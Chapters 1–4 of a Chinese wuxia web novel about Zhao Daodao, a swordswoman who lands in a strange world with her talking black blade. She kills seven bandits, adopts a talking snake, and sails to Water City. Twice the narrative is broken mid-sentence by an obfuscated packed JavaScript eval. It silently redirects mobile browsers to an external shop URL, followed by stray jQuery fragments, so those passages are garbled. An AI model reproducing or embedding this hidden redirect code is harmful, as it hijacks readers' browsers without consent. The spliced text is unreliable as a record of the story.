《刀子精豆腐心》 1. 故事 傍晚。 风过,叶子簌簌作响,掩盖了脚步声。 七个壮汉正往树林深处走去。 天色即将入夜,寻常人都回到家中,他们却大剌剌走在林子里,丝毫不惧。等黑暗笼罩一切,才是属于他们的时候。 这七人都是一身短打,有的手里拿着武器,偶尔观察下周围,朝林子黑暗处望去,有的两手空空,神色却更轻松。 他们低声交谈着走在潮湿的草地上,如果仔细看,会发现他们动作大开大合,留下的脚印却很轻,只需一阵风,便在林中消失。 赵刀刀就是听到这些人刻意放轻的脚步声和低语声醒来的。 她还有点懵。 因为她在飞。 如果脑子没出问题,她记得她前一刻还在山洞里准备睡觉。 当时林子里下着雨,潮湿的空气让人头脑昏沉,身上也提不起劲来,而这种沉闷的天气再适合不过睡觉。 正当她把刀放到一边,往地上躺去……谁曾想刚一躺下,就躺了个空! “……”她想要吟诗一首感慨命运无常,却憋不出半个字来。 啊……人生总是有这样有这样出乎意料的时候。 赵刀刀想。 如果不是在空中下坠的失控感觉实在不好受,她还想再发会呆。 赵刀刀在空中调整自己,看着离地还有一段距离,眯着眼确定了方向,朝一棵大树的树冠使力而去,手握上树枝,粗糙的树皮磨过手心粗糙的茧,她借力荡了个圈,缓解着下坠的势头,在空中仔细欣赏了一翻自己衣摆划过的美丽弧度,最后稳稳地落在了树枝上。 轻盈的像是一只鸟。 她轻轻拍掉手上的树皮,不想弄脏衣服。 衣服是下山新买的,据称是最有侠士风范的飘逸布料配上最好的绣娘制成。宝蓝色的布料里穿插着金线,构成的花纹繁复美丽,在落日的余晖下闪着光。 赵刀刀在自己所有的衣服里最喜欢这件。 不单是因为漂亮,最重要的是——衣摆上缝着她的名字。 她的呼气已经恢复平稳缓慢。 一下从之前的沉闷中脱离,这里空气清爽,她的睡意也消散于无。 赵刀刀一边感叹着自己从空中掉落也临危不乱的胆量和轻描淡写就化险为夷的武功,一边站在树枝上,观察着周围完全陌生的景象。 这又是哪座山?是一股没闻过的草木气味。 过了会儿她才突然想起来,“欸,我刀呢?” 四周空寂,只有树叶沙沙地响。 她这才想起刚来听到的那阵脚步声。 赵刀刀几个轻跃猫到树下,仔细注意周围,辨别着远处的动静。 那里有七个人。 为首的大汉肤色黝黑,胡子盖住了脸,声音粗犷,身上带着把没有刀鞘的大刀,刀用了很久,但刀刃亮得发光。 其后六人中有拿剑的。 他们一身布衣,应该行了几天路,鞋底和鞋边都沾着很厚的泥土。 七人围成半圆,正在一齐看着地上黑乎乎的东西。 这东西从天而降,吓他们一跳。 看形状像是刀,但刀身和刀柄都黑漆漆,这样奇怪的刀,兵器谱中也从没提到过。 “长得真怪啊……” 有人出着主意,“大哥,要不,带回去慢慢看?” 脸上有刀疤的一个制止道,“老四,不急,这小山头平时来的人也不多,不如先藏起来,办完事回来再拿。” 周围渐渐响起附和声。 为首的大汉拍板决定,“好。” 他伸手正要碰刀,旁边有人惊呼道:“大哥,你的手……怎么在流血?” 他这才感到手上一痛,原来是被不知从哪落下来的石子蹭了个口子,流出血来。“小伤,不碍事。”他伸手又要去拿,这回一块更大的石头将他手砸的往下一堕。 “奇了,天上还下起石头了……” “谁?!”刀疤脸发出一声喝问。 声音惊起林中飞鸟,也惊醒了他六个兄弟,这会没人觉得还是山里动物作祟了,这群人立时都将武器拿在手中,原来他们每个人都带着武器。七人背靠着围成一圈,警惕着周围。 没有动静。 他们往周围散开阵势探查。 其中排第六的为人最谨慎,一直没出声,这会儿低声道:“大当家,听说这林子就是邪乎,现在快晚上了,更是看不清,咱们还有大单子要做,要不先出去吧。” 也有人附和着劝。 那老大却不甚在意,他一时不慎才会被打中,此刻警惕起来,丢石子的人再未出手,显然是怕了他们兄弟几个,既然暗中的人怕了,他们又何必退? 他声音浑厚,沉声道,“怕什么,这小镇子里能出什么角色,不过是暗中伤人的宵小。” 众人被他的气势安抚下来。 他们又去看那把奇怪的刀。 却愣在原地。 老六道:“你们刚才看见没……这刀自己动了?” 老七擦了擦眼睛,“我好像也看见了,奇了,这林子里也没风啊……” 所以他们没看错的话,是那刀子自己动了下? 老大道:“装神弄鬼!” 突然,周围又有声音幽幽道:“离这刀远点,饶你们不死。” 第一个字和最后一个字出现在不同方向,声音离得更近了。 却仍旧难以分辨方位。 那脸上长疤的大汉嗤笑一声,说,“我当是谁,原来是有人在装神弄鬼。”他挺挺身子,“掉在我兄弟眼前的东西,还有人敢要?阁下到现在不肯露面,怕是也没有把握对抗我兄弟几人吧。” 那老大环视周围,他本来对这古怪的兵器没什么想法,但有人横出阻止他们带走——他回首看着那把从未见过的兵器,反而更生出想要占为己有的念头。 想到自己这边兄弟众人,对方看样子只有一个,他找回了底气,刚才刀动那下应该是自己多疑看错了。 遂又伸手去碰。 “恕我直言,这位大兄弟。”赵刀刀负手,从这老大面前的树后走出来,“你在找死。” “噗。”紧张的气氛霎时退散。 七人笑开,原来只是个小姑娘! 他们看到赵刀刀,只觉得自己被耍了半天,刚才的警惕真是多余。 “哈,哪来的小妞这么大口气,这刀我们可以不要,不如你跟哥儿几个一起走,做的好了,路上还能让你吃香喝辣。” 老六假言劝说几句,也跟着一齐不怀好意地笑。 赵刀刀看着那老大流血的手,心里算着一二三,她想,自己已经给了他们三次机会。 她冷冷地看着这群人。 叹息一声。 “喂,一起上呗。” 她随意地从地上捡起一根树枝。 前一刻还闲庭信步,突然,闪身而出,明明只是一根枝杈,在她手中却锐不可当,在那些人身上划出深深的伤口。 被打了个措手不及,那老四大骂,“该死的小娘们!” 七个人很有默契,摆开阵势,一齐朝她围剿。 那老大也拔出了腰间的大刀。 刀剑的寒光闪现,却见那小妞像泥鳅一样滑溜,那几把刀剑连她的衣服边儿都没挨着,就被侧身躲过。 她像一阵风穿梭其中,迅疾难测。 赵刀刀还有闲心放慢步法,轻敲那大刀两下。 听着刀身的颤音,她轻声道,“啧,这种破烂也敢与我打。” 为首的恼羞成怒,“小娘们口气倒是不小!” 她不为所动,下手更快更狠,那大刀竟然被一根树枝打飞,斜插到旁边的树上,晃了两晃,断了。 寂静一霎。 赵刀刀扔掉手中与刀一齐断开的树枝,又捡了一根,“要认输么?” 几个壮汉也被激出血性,“放屁!”自然,他们也不觉得自己会输。 “其实我有个爱好,不知道你们知不知道……”刀光剑影间,赵刀刀叹气道,“我最喜欢听故事了。” 她看着三步外的被血染红的树杈,补充道,“尤其是你们这种。” 那群人气喘着盯着她,“什么?” 她笑了笑,“将死之人的故事。” 赵刀刀躲过一击,慢悠悠接上前文,“毕竟只能听一次嘛。” “你!” 刀疤脸淬了口血沫,恨恨道,“原先还想放你一马,现在,可要看哥几个愿不愿意饶了你的命!” 说着几人又朝她冲来。 “唉。”她叹息道,“我真的很喜欢听故事,你们 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“东边的寨子。” 她笑而不语。 刀疤脸给自己壮了壮胆,只要回去,多的是机会可以报仇。接着道,“东十三寨。” “哦。”她点点头,“我刚听你们接了个活?” 他的神色紧张起来,“你……你都听到了?” 她抬了抬下巴,“仔细讲讲。” “这……” 赵刀刀没说话,走到一边捡起了地上那把黑色的刀,然后架在他脖子上。 刀疤脸咽了咽口水,“好好好,女侠饶命,女侠饶命!”他预做出磕头的动作,却被绳子拦下,语速越来越快,“我们要去水城劫个人。” “嗯?”她手里的刀多了几分力。 “好……好……你别动手,我们要去劫唐家大小姐唐雪。”" “听着是个大人物啊,”赵刀刀嘲笑道,“就凭你们?” “你!”他恼怒,却被脖子上的刀浇灭了怒火,不肯再说了。 她问,“山下是什么地方?” “这里是晚镇,就是个小镇子,女侠要去哪?” 赵刀刀想了想,道,“天下高手在的地方。” “你也要去唐家擂台?” 哦,居然蒙对了,她想。“怎么走?” “水城往西。” 她又问,“水城怎么走?” 大汉本以为她是在诈他,此时观她神色,才发现她好像真的不知道,他奇怪地看着眼前的女子,有些后悔前面的问题答得太快。她年纪看着不大,但刚才打架那股杀气可吓人的很,思索间颈边的黑刀又压低了一分,算了,这问题他就算不说,等她出去也一问便知,“就是从下面镇子出去坐船。” “哦。” “你……你现在肯放了我吗?” “啊,”她像是想起来自己说的话了,用黑刀挑断绑着他的腰带,“去吧。” 刀疤扶着树跑了两步。 心中正盘算着这人是谁,何时报仇。 突然,一片叶子穿过他的胸膛。“你……”她明明说会放了他…… “唉。”赵刀刀站在原地自言自语,“我只是说留的久些,可没说放过你们啊。” 林间只剩下一人一刀。 又听一个声音道,“你怎么不问他这是哪年哪月。” 周围空无一人。 她看着手里的刀,“没必要嘛。” 要是问了和之前一样,那多没劲。 她不想回去了。 以前是跑不开,现在好不容易离开了。 她不想回去了。 原来出声的竟然是一把黑刀。那黑刀沉默片刻,开始算账,“你刚才就一直放我在一边?那么久才捡?” 赵刀刀摸了摸鼻子,“不然呢?” 黑刀哼了一声道,“白养你了。” 她笑了笑。 正想离开,却突然停在原地。 她握紧手里的刀,“谁?” 林子一片寂静。 只听见簌簌的声音。 2. 说话的 这是一个不同的世界,但也有很多相同。 只是赵刀刀从没有像现在这样觉得危险却什么也觉察不到的时候。 天黑下来了。 周围树木沙沙作响,几团灌木在暗下的天色里成了黑色的影子,有什么东西在动。 赵刀刀面不改色,咬紧牙关,握紧了刀。 细微的声响又出现了,这样轻的动静——从一团灌木中露头的是一点绿色——原来是一只很细的青蛇。 暗沉的月色穿过枝叶洒在鳞片上,蛇身似乎是青翠欲滴的绿色,纯粹的像是一支生长不良的细竹,两只小眼睛漆黑如墨,正吐着信子望着她。 她眯了眯眼,“啊——是一只,没有毒的小蛇。” 纵使如此,她也不该毫无察觉。赵刀刀握刀的手没有动。 青绿小蛇又扭着身子向她爬近了些,它眼神中带着一种懵懂的野性,探起头像是好奇一般盯着她。 “我的刀下还没死过蛇呢,”赵刀刀想了想,举刀,刀尖正对着蛇头,“真是新奇。” 新地方真是惊喜不断。 在已经降临的夜色里,黑刀融入黑暗,只能看到一点虚影了。 青蛇歪了歪头。 一道清脆稚嫩的声音突然响起,“你……能看见我?” “!”赵刀刀愣住。 她看看眼前的蛇,又看看手中的刀,握刀的手不动,用另一只手掏了掏耳朵,揉了揉眼睛。最后不得已看着蛇问:“你在说话?” “嗯。”青蛇又向她爬近了些,确信道:“你不但能看到我,还能听到我说话。” 赵刀刀喃喃自语,“这里……动物都会说话?” 她看看手里的刀,又看着蛇。 出乎意料的,她竟然不觉得这一幕古怪离奇,只是想道:啊……原来这世上不是只有刀会说话吗。 手里的黑刀轻轻颤了下。 黑刀声音低沉,语气鄙夷,“你在乱想什么?” 赵刀刀讪讪笑了下。 青蛇语气淡淡,因着声音稚嫩,显出几分少年老成的味道,“当然不是了。” 她蹲下来,也盯着蛇,眼里冒着精光,问:“那你是什么情况?” “这么久以来,只有你能看到我,也只有你能听到我。”青蛇停顿了下,又补充道,“还有你这把刀……刀里的……刀子精?” 这就更神了。 赵刀刀兴致勃勃,“你竟然听得见他说话?” 青蛇矜持地点点小脑袋,“嗯。” 她问,“你有名字吗,小蛇,你叫什么?” 青蛇仔细回想了下,它有意识起就在这片林子里生存,却从没想过这个问题,“不知道,我没有名字。” 赵刀刀心中一动,试着友善地建议:“我的刀是我见过唯一一把会说话的刀,他叫赵小刀,我起的,不如你就叫——赵小蛇?” 青蛇沉默。 它脆生生地挽救道,“我刚骗你的。”它绞尽脑汁,道:“我单名一个竹。” 赵刀刀暗道一句可惜,说:“那我叫你竹子吧,小蛇。” 青蛇没有反驳。过了会儿说:“我不是什么时候都能说话的。” 这是在委屈吗?赵刀刀乐呵呵地想。“怎么说?” 青蛇有些困扰的样子,想着该怎么说,“我每次说话,都很费力气,说完了,就会昏一阵。” “啊……”小蛇不如赵小刀,赵刀刀在心里下了判断,“原来是一只懒虫蛇。” 青蛇直直地盯着她,无奈地吐着信子不说话了。 她笑了笑,“别生气嘛。” 黑刀里的刀子精对她这样瞎套近乎的样子已经习惯,全程沉默着。 只过了一会儿功夫,赵刀刀就觉得自己有些喜欢这里了。 之前有一把只有她能听见声音的刀,现在又多了一条只有她能看到的蛇。 “我要下山了,小蛇。”赵刀刀道。“你要留在这吗?” 青蛇没有说话。 “我带你走吧。” 她把左手在新衣服上蹭了蹭,伸出去。 小青蛇乖乖地爬上手心,缠上了她的手腕。头咬着尾盘成一个环。 她笑弯了眼睛。 收刀下山。 镇子里的市集大多已经收摊,只剩客栈还点着灯。 所有人都知道,唐家擂台已经开了,再过些时候就要举办比武大赛,因而最近从镇子下去坐船的外来人有许多,赵刀刀没有引起太多注意。 只是偶尔有女子看着她身上的衣服,和同伴低声讨论几句,想回头找裁缝给自己也做一身。 这样的蓝色布料晚镇是没有的,看起来穿着舒服,又不会太过张扬,可惜寻常人家很难用得起金线做衣裳,不知又是哪个大门派的内门弟子出来游历。 赵刀刀的头饰朴素简单,全部头发被和衣服一样材质的蓝色发带高高束起,垂在脑后,只别着一根黑檀簪子。 本身偏白的皮肤因为前些日子晒了太久太阳,黑了点,混在人群中不甚显眼。 但还是有人频频向她看去。 比起衣服,她浑身最夺目的是身后背着的那把黑刀。 那把刀没有刀鞘,被她随意地背在身上。 样式倒不是见所未见,但一把全身漆黑的刀,越看越不像正经兵器。 微弱灯光照耀下,那把刀周围似乎覆盖着一层薄薄的黑雾,在慢慢地流动,竟然像是有生命的样子,让人不敢多看。 刀的气势完全盖过了人。 赵刀刀对这些都一无所觉。 她盘算着,今天住一晚,到明天就出去坐船,到水城看看,有擂台的地方一定有很多人,她要交朋友去。 正当她打算迈进一家客栈。 刀子精终于看不下去了,出声提醒道,“赵刀刀,你身上还有钱吗?” “……” “哦。” 赵刀刀抬起的脚又收回,对看到来客出来迎接的小二尴尬地笑了笑,转身就走。 山上那几位应该有吧,她想。 一番操作又回来,还是同一家客栈。 街道已经彻底黑了。 但这家客栈还很亮堂。店门气派地敞着,高高悬挂的牌匾上写着“晚来客”三个大字。店有三层,在周围至多二层的房屋中鹤立鸡群。屋檐高飞,挂的灯笼是镇中最多最大,大厅绕过屏风还坐着许多客人喝酒聊天。 之前见过的那位小二又满面笑容地迎上来,“客官又来了,刚看您经过我家,我家可是这镇子里最好的客栈了!您走完整个晚镇也找不出第二家,看您也是侠士吧,您是住店还是?” 赵刀刀阔气地扔了一块银子,“一间上房。” 小二手快的接住,搓了搓,喜笑颜开,“好嘞!”他到前台递过银子,说了两句,拿上牌子带路道,“大侠这边请。” 她跟上。 周围有人在打量。 满身腱子肉的虬髯大汉倒着酒,旁边坐了个清瘦的青年人,相貌普通,身边放着一把长剑。 他们这桌视线开阔,最关键的,是坐在那能看清每个要上楼住店的人。 那壮汉出声道,“齐兄可看到那把刀了?” 被称作齐兄的青年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063167|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人点头,他脸颊上有饮酒后的微红,手肘撑在桌上,脊背虚虚靠在椅背上。 壮汉接着说,“这样古怪的黑刀,我竟闻所未闻,见所未见。” 青年人喝了口酒,“再古怪,也不过是一把刀罢了。到了水城,说不得还有更多奇怪兵器。” 壮汉道,“齐兄说的有理。只是——那女子的境界,我竟也瞧不出。” 青年人指尖轻敲在雕花木桌上,“许是那把刀的古怪,只看那女子,脚步轻浮,不像是高手。” 壮汉了然,问,“明天出去坐船要两天才能到水城,齐兄之后可是决定好了,真要去那生死擂台试一试?我听说,天下榜的人也要参与其中。” 青年人目光盯着酒杯,语气坚定,“我下山虽不是为此,但这样的风景,遇上了,还是要看一看。”他轻笑一声,“况且一个刚跨进天下榜一脚的人,还算不上什么。” 壮汉抱拳,“王某佩服。”一口喝完眼前杯中的酒,“此次唐家天下擂台之行多亏遇到齐兄才化险为夷,这一路还要多谢齐兄照应了,齐兄以后要是有需要之处,尽管提!” 青年人笑笑,平淡道,“小事。” 二人有一句没一句地交谈着。 赵刀刀坐在房中,黑刀靠在墙上。 一楼嘈杂,三楼宿处却听不到半点声音。 刚进入走廊她就发觉这客栈不同寻常,这会儿屋子里更是安静极了。 赵刀刀已经默默喝了几杯茶。 刀子精看她安静的样子就知道没好事。 一片寂静中黑刀出声,“又偷听呢?” “噗——”她正听得入神,惊得差点把茶喷出来。赵刀刀擦着嘴,摆摆手,“打听消息,打听消息嘛,咱们初来乍到,知己知彼才方便行事。” 青蛇也从手腕爬到桌上,盘成一圈,好奇地看着他们。 刀子精声音低沉,像是刚休息过,带着一丝沙哑,“这就是你听墙角的理由?” “隔壁是一对夫妻,正好也要去水城,顺路,明天跟着他们就行了。”赵刀刀说,“别说的那么奇怪嘛,我又没有什么都听的坏习惯,达到目的就行,对吧。” 刀子精懒洋洋地“嗯”了一声。 “好吧。”她认错,“不听了不听了早点睡。” 她数了数剩下的银子,绑好钱袋。其实她这一伙三个,只用付一间房钱,还挺划算。 赵刀刀整理床褥,脱掉外衫挂在一旁,手顺着衣领滑到衣摆绣着名字的地方,满意道,“其实那店家倒是没有骗我,这衣服挺不错的。” 刀子精鄙夷道:“所以就把所有的钱都拿来买它?你倒是爱美。” 赵刀刀坐到床边,笑了笑,“周忌说的,这衣服衬我,我穿上这身最有大侠气派,不愁交不到朋友。” “呵。”刀子精讥笑一声,冷酷道出现实,“那是因为店是他开的。” “……”赵刀刀偏了下头,又笑了笑,“别这么说嘛,他毕竟是我第二个朋友。他还说晒黑点也会容易交朋友。”她看着自己的手,已经比印象中的颜色深多了,“可惜好不容易晒黑点却不在那了。” 刀子精只道,“别听他乱讲了,去睡吧。” “好吧,我听小刀的。”她枕着胳膊躺在床上,闭上眼。 青蛇盘在桌子上没有动静了。 夜深。 店门关了。 一楼的酒桌也散了。 赵刀刀闭着眼,突然出声,“你想回去吗?” 刀子精没有回答,反问她:“你呢?” “不想。” “那就不回去。” 3. 水城多路 光从窗外透进来,在靠近床铺的位置止步。 赵刀刀醒的很早,也很有特色。 她睁大了眼睛,扩大的瞳孔乍一看是棕色,但光线不错的时候再仔细瞧,便能看到里头暗红的色泽。 圆圆的杏眼本该显得可爱,这时候却有些可怖。 她眼睛睁着,脸上面无表情,整个人像根木头直挺挺一样一动不动。 好似被魇住。 刀子精出声道,“刀刀,醒了。” 她这才转转眼珠,闭了闭眼,“哦”一声,干脆利落地坐起身来,穿好衣服。 打开窗户,赵刀刀往底下看了看。 天乍亮,清晨的风泛着凉意,外面人不多。 等一切收拾妥当。 她在屋里伸展一番。 心中不解:隔壁的夫妻怎么还没起。 赵刀刀又一屁股坐在凳子上,直直地盯着窗外。她的视线聚焦在远处的屋檐上,那家正在烧饭,有炊烟悠悠地往外冒。 刀子精知道这是还没彻底清醒,刺她道,“你能盯出朵花儿来?” 她缓慢地摇了摇头。 刀子精无奈,“呆子,带上你的蛇,下楼吃饭去。” “啊。”是该吃饭了,来到新地方,她一时不知道做什么,居然连吃饭都忘了。她应声,抓起青蛇往袖子里一塞,出去带上门。 走在台阶上,脑子才彻底清醒过来。 店小二过来招呼道,“客官起的真早,您这是吃饭去?” 赵刀刀颔首道,“嗯。” 小二又说,“我家厨子这会儿还没到干活的时候,不过对面有家卖早点的,您要是饿了可以去瞧瞧,出了门就能看见了。” 这家店比想象中气派啊,她漫无边际地想着,点点头。 走了两步,一拍脑袋,“欸,我刀呢?” 这才回去取了黑刀关上门下楼。 出了门,正对面就是家包子店。 招牌上写着“早到”二字。 晚来客栈,早到包子,真有意思。 包子店老板是一对夫妻,老板娘在店外头负责招呼,老板在里头负责做饭。 老板娘说起话来笑眯眯的,看着就让人心情好。 她走出来问,“姑娘一个人过来的?吃点啥?” “嗯。”赵刀刀在外面找了桌空的坐下,将刀解下放在身旁,“两笼荤的一笼素的,再来……一碗豆浆。” “好嘞。”老板娘转身去找老板。 店家手脚麻利,过了会儿就端着包子和豆浆出来了,早点被稳当地放在桌上,包子的笼屉被一字摆开在面前,冒着气,热腾腾的。 赵刀刀用指尖碰了碰装豆浆的碗,“好烫。” 或许是时候太早,加上她,客人也不过四桌。 老板娘拿抹布擦了擦手,注意到这边,走到她对面,弯腰帮她拿了勺子放在碗里,又递过来筷子,笑嘻嘻的,说:“晾会儿就好了,姑娘别着急嘛。” “嗯。”赵刀刀接下筷子。 老板娘收拾完上一桌的笼屉,又问,“姑娘是第一次来晚镇吧。” “嗯,”她把包子夹进小碟里,抬头看着老板娘,问,“很明显吗?” 老板娘捂着嘴笑了几声,“这倒不是。只是我在这很久了,来过晚镇的每个人,我都认得。” 她眼睛亮了亮,真心夸赞道,“您真厉害。” 老板娘又笑的花枝乱颤。 这样爽朗的笑声,这样毫无杂质没有烦恼的笑,赵刀刀很久没有听到了。 往日在山上的时候,大家说起来是同门师兄弟,但对其他人过得如何并不上心,每年都有弟子撑不住走了的,也有新来的,能长久留下都一心练功,鲜少有人会在意其他人的去留。太多人连名字都没被记住就离开了。 倒是也有志同道合的成群结队整日一起玩,但没人会记得每个人的面孔。 她也从来没有见过这样笑的女人。 赵刀刀夹起包子,吹了吹,咬了口,“好吃。” “小姑娘真有意思。”老板娘说。 “这是夸我?”她问,眼睛圆溜溜地看着老板娘。 老板娘又笑笑,“你就当作在夸你吧。” 在老板娘时不时看来的视线下,赵刀刀毫无压力地解决了三笼包子。 豆浆差不多凉了。 老板娘收拾完隔壁桌,出声道,“姑娘可是要去水城?” “嗯。” “船票可买了?” “啊?”赵刀刀没想过这茬,“到船上再买不就行了。” 老板娘又笑了,这回像是听了什么笑话一样咯咯笑个不停,她抹过眼角笑出的泪,说,“我第一次见你这样的外来人,小姑娘,你不会不知道船票的限额在都是提前一月定好的吧?” “……” 她还真不知道。 老板娘坐到她对面,收了笑,说:“中午前第一班船就要开了,你帮我个忙,我送你一张船票如何?” 赵刀刀不露声色地将一只手放在刀柄上,歪头问:“为什么是我?” 这船票这么麻烦,这么轻松就能拿到?她也不是傻子。 老板娘像是没看见她的戒备,微笑着道,“谁让你正好合我的眼缘呢?”又道,“我需要你做的事不难,帮我去柳城找一个女人,要是她还活着,就送一封信给她。” 赵刀刀看了她一眼,一口气喝完了豆浆,豪迈地放下碗,擦完嘴固执道,“我可以帮你,但你要告诉我真话。” 老板娘很短暂地愣了下,笑着瞥她,“你真是个奇怪的姑娘,”接着说,“虽然从这里去到水城,进入武洲的每天都有几千人,但能过了擂台,去到内城的,也不过几十人而已。” 老板娘看着她的眼睛,“你能办到,对吗?” 赵刀刀思考片刻,点了点头,勉为其难地接受了。 老板娘把桌上碗筷收走,从店里取出一根黑色的编绳和一封信,说:“这是她绑剑用过的绳子,你到柳城之后,她看到绳子自然会来找你的。然后把绳子和这封信给她就好了。” “嗯。” “还有,”老板娘俯身对她轻声说,“你以后要是哪天回来,可千万要找好靠山了……旁边山上那七个人可别忘干净了。” 赵刀刀瞪圆了眼睛,愤愤道,“你威胁我?” 老板娘掩嘴笑道,“我要是威胁你,你连码头都到不了。” “好吧。” 赵刀刀收好信物,将绳子绑在腰带上——这样总该一眼就能看到了。 老板娘又笑了,“其实,你合我眼缘也是真话啊。” 赵刀刀矜持着,对这话只信两分。 有了船票,她可以直接去坐船,就不用等隔壁那对夫妻了。 她又想了想,问,“要是她不在了呢?” 老板娘的神色瞬间阴沉下来,冷笑一声,“那就找到她的骨灰,要是下棺了就挖出来烧成灰,给我扬了。” 好狠。赵刀刀在心里感慨。嘴上应道:“行。” 结了帐,老板娘让她等着,回去取了船票和一些吃的交给她。 叮嘱道,“船上也有吃食,不过还是带着的方便,你太好骗,不过等到地方上过擂台就没人敢轻易骗你了,在此之前什么都不要轻信。” 赵刀刀点点头。 其实她不笨的,并不好骗,不知道老板娘为什么觉得她像个傻子。 老板娘在身后像个殷切的老母亲一般注视她上路了。 那目光如有实质,来这里之后,这还是赵刀刀第一次感到有些压力。 船很大。 甲板宽敞,桅杆高大,船帆高挂。 这一艘船就能载下一百多人, 赵刀刀排着队等上船,周围人声鼎沸,来送人的、来登船的将码头堵得水泄不通。 黑压压的一片,赵刀刀还没见过这样的场面,或许门派招新弟子的时候也是这样吧,可惜她从来没去看过。 到了船上才宽敞起来,有地方透气。 上船之后船票验过就被撕毁,颇有几分有去无回的意思。 船开了。 漂在水上,摇摇晃晃。 有不善水性的,上了船就绷着一张脸。有熟门熟路的,一上船就走得没了影儿。 多的是成群结队,围在一起交谈的。 自然,也有独身一人的,待在僻静角落。 赵刀刀在船尾找了个没人的角落待着。抱着自己的刀斜靠着,小声说话。 “小刀啊,我交到了一个朋友。” “嗯。” “交朋友原来可以这么容易吗。” 刀子精没有接话了。 赵刀刀就自顾自地说着。 说林子潮湿,说店铺气派,说老板人好。 说累了,便扒住船边,望下去,水面风平浪静。 河水是蓝色的,让她想起周忌带她去看的那片海,但海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063168|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水汹涌,巨浪滔天,太容易让人畏惧而忽视了其本身的美丽。 山上待得久了,总是向往有水的地方,去过之后反倒没那么牵挂了。 之前有些不被待见,在山上过活了几年,才不容易地交到第一个朋友,还是一把只能和自己交谈的刀。 好在。 这里是不一样的。 船在河上走了两天。 这一路运气不错,没什么大风浪,天气也始终晴朗。 老板娘给的干粮很好吃。 赵刀刀打听到了些消息。 水城四通八达,也是进入武洲唯一的入口。 武洲乃是江湖的中心,十一城便在其中,所以世人常说,到过武洲,才算入过江湖。 她要去的柳城就是十一城中的一座。 武洲有一十一城,唐贺二堡,四座山头,大小门派无数。 据说最早的时候,十一城本要送给天下武学巅峰十一人,但有位一心求道,弃城而去不知所踪。 开了这道先例,规矩就被破了,从此十一城城主便只是高手,却未必在榜上了。 但这些城仍留着原来的另一道规矩,若是战胜城主,可以让城主完成一个要求,不违道义即可。 前提是城主接战。 这算什么破规矩,赵刀刀听着就觉得不公平,她接连问了几人,却发现船夫来来回回就那几句话,对这些高手是谁,弃城而去的是谁,十一座城分别叫什么一概不知。追问之下只会神神秘秘语焉不详,说来说去,赵刀刀听出来了,他们最熟的还是水城和唐家堡,别的都是道听途说,还只听了个皮毛。 算了,柳城在就行,老板娘总不会说错地方。她又回到自己的角落待着。 船到了。 船速越来越慢,最后颠簸了两下,靠岸了。 水城的码头全是往来的船只。 上岸的人像一根线连绵不断。 岸上还有前来迎接的。 人山人海,比上船那会儿还多。 赵刀刀早早就排在出口了,但下船却没有上船时的有序。 船夫简直是在赶人,不断催促着“快点”、“跟上”。 她顺着人群被推推搡搡地挤下了船。 赵刀刀离得远些,从密集的人群中脱身,才回头看去。 她惊奇地发现靠岸前就站在船边的人居然还在。 他们这时候风骚地一撩衣摆,轻巧地在地板上一点,就潇洒地飞到岸边落下。 还赢得了一些喝彩。 赵刀刀抱着刀站在一边,看得有些眼红。 早知道她也站船边。 走到街上终于真正宽敞起来。 街道开阔,街上什么人都有,装饰绚丽的轿子,风尘仆仆的侠士,马蹄扬起的尘土不绝,卖木剑玩具的都能挽个剑花耍上一两招,地摊上摆着名家秘籍,还有当街卖艺的。 往来的人仿佛都对水城很熟悉了,并不四处张望,有目的地前行。 赵刀刀试图混入其中。 她走到一张告示前。 边角已经皱起发黄,贴了有段时间。 “唐家擂台,迎天下豪杰,欲入武洲……” 赵刀刀看着被撕去下半截的告示,低声抱怨,“哪个缺德的。” “而且……”赵刀刀转身,“你哪位啊。” 下船之后这人就跟着她了,她以为是同路,但绕了一圈还在,那就是别有居心了。 扇子刷的一声展开,扇面上方露着一双含笑的眼睛。 面前的青年摇着扇子,“姑娘怎么称呼?” 此时正值初春时节,并不炎热。 赵刀刀没回答。 他自报家门道:“在下周向晚,见姑娘这把黑刀实在特别,一时着迷,还望姑娘见谅。” 途中这人的目光确实一直紧盯着她的刀。 赵刀刀点头,“你要是看够了,就可以走了。” 周向晚又笑了,合起扇子敲在手心,“是我让姑娘不快了,为表歉意……我看姑娘这是要去唐家堡?在下可以带路。” 见她不说话,周向晚又接着说,“或者,姑娘有什么别的事要做?” 这是要跟定她了。 她打量着眼前的人,想了想,随意道,“要是我想当天下第一呢?” 周向晚佯装苦恼,把手背在身后,笑意更浓,“姑娘真会说笑。” “哦。”赵刀刀转身离开,“带路吧。” 4. 路见不平 不到武洲,不算见过江湖。 但江湖,却并非来者不拒。 想进入武洲,必须上过唐家擂台。 唐家堡在水城中,但水城连接武洲的大门却在唐家堡中,唯有穿过这道门,才算真正踏入武洲。所以,唐家堡可以算是武洲的天然大门。 一道城门,一座擂台,碎过无数人的梦。 “可惜那些人想得太简单,就算进去了也只是过了第一关,进了武洲又不会立时平步青云。”周向晚接着给她介绍。 唐家擂台只在早上登记放人,船到的时候已经过了时间,是以,即使今日还有大半天,他们还是要等到第二天才行。 于是周向晚就打着带她熟悉熟悉水城的旗号,领着赵刀刀逛了一圈。 此时他们正在一间酒馆歇脚。 赵刀刀只喝过一次酒,对自己的酒量不太了解,担忧酒后失态,她只打算小酌几杯。 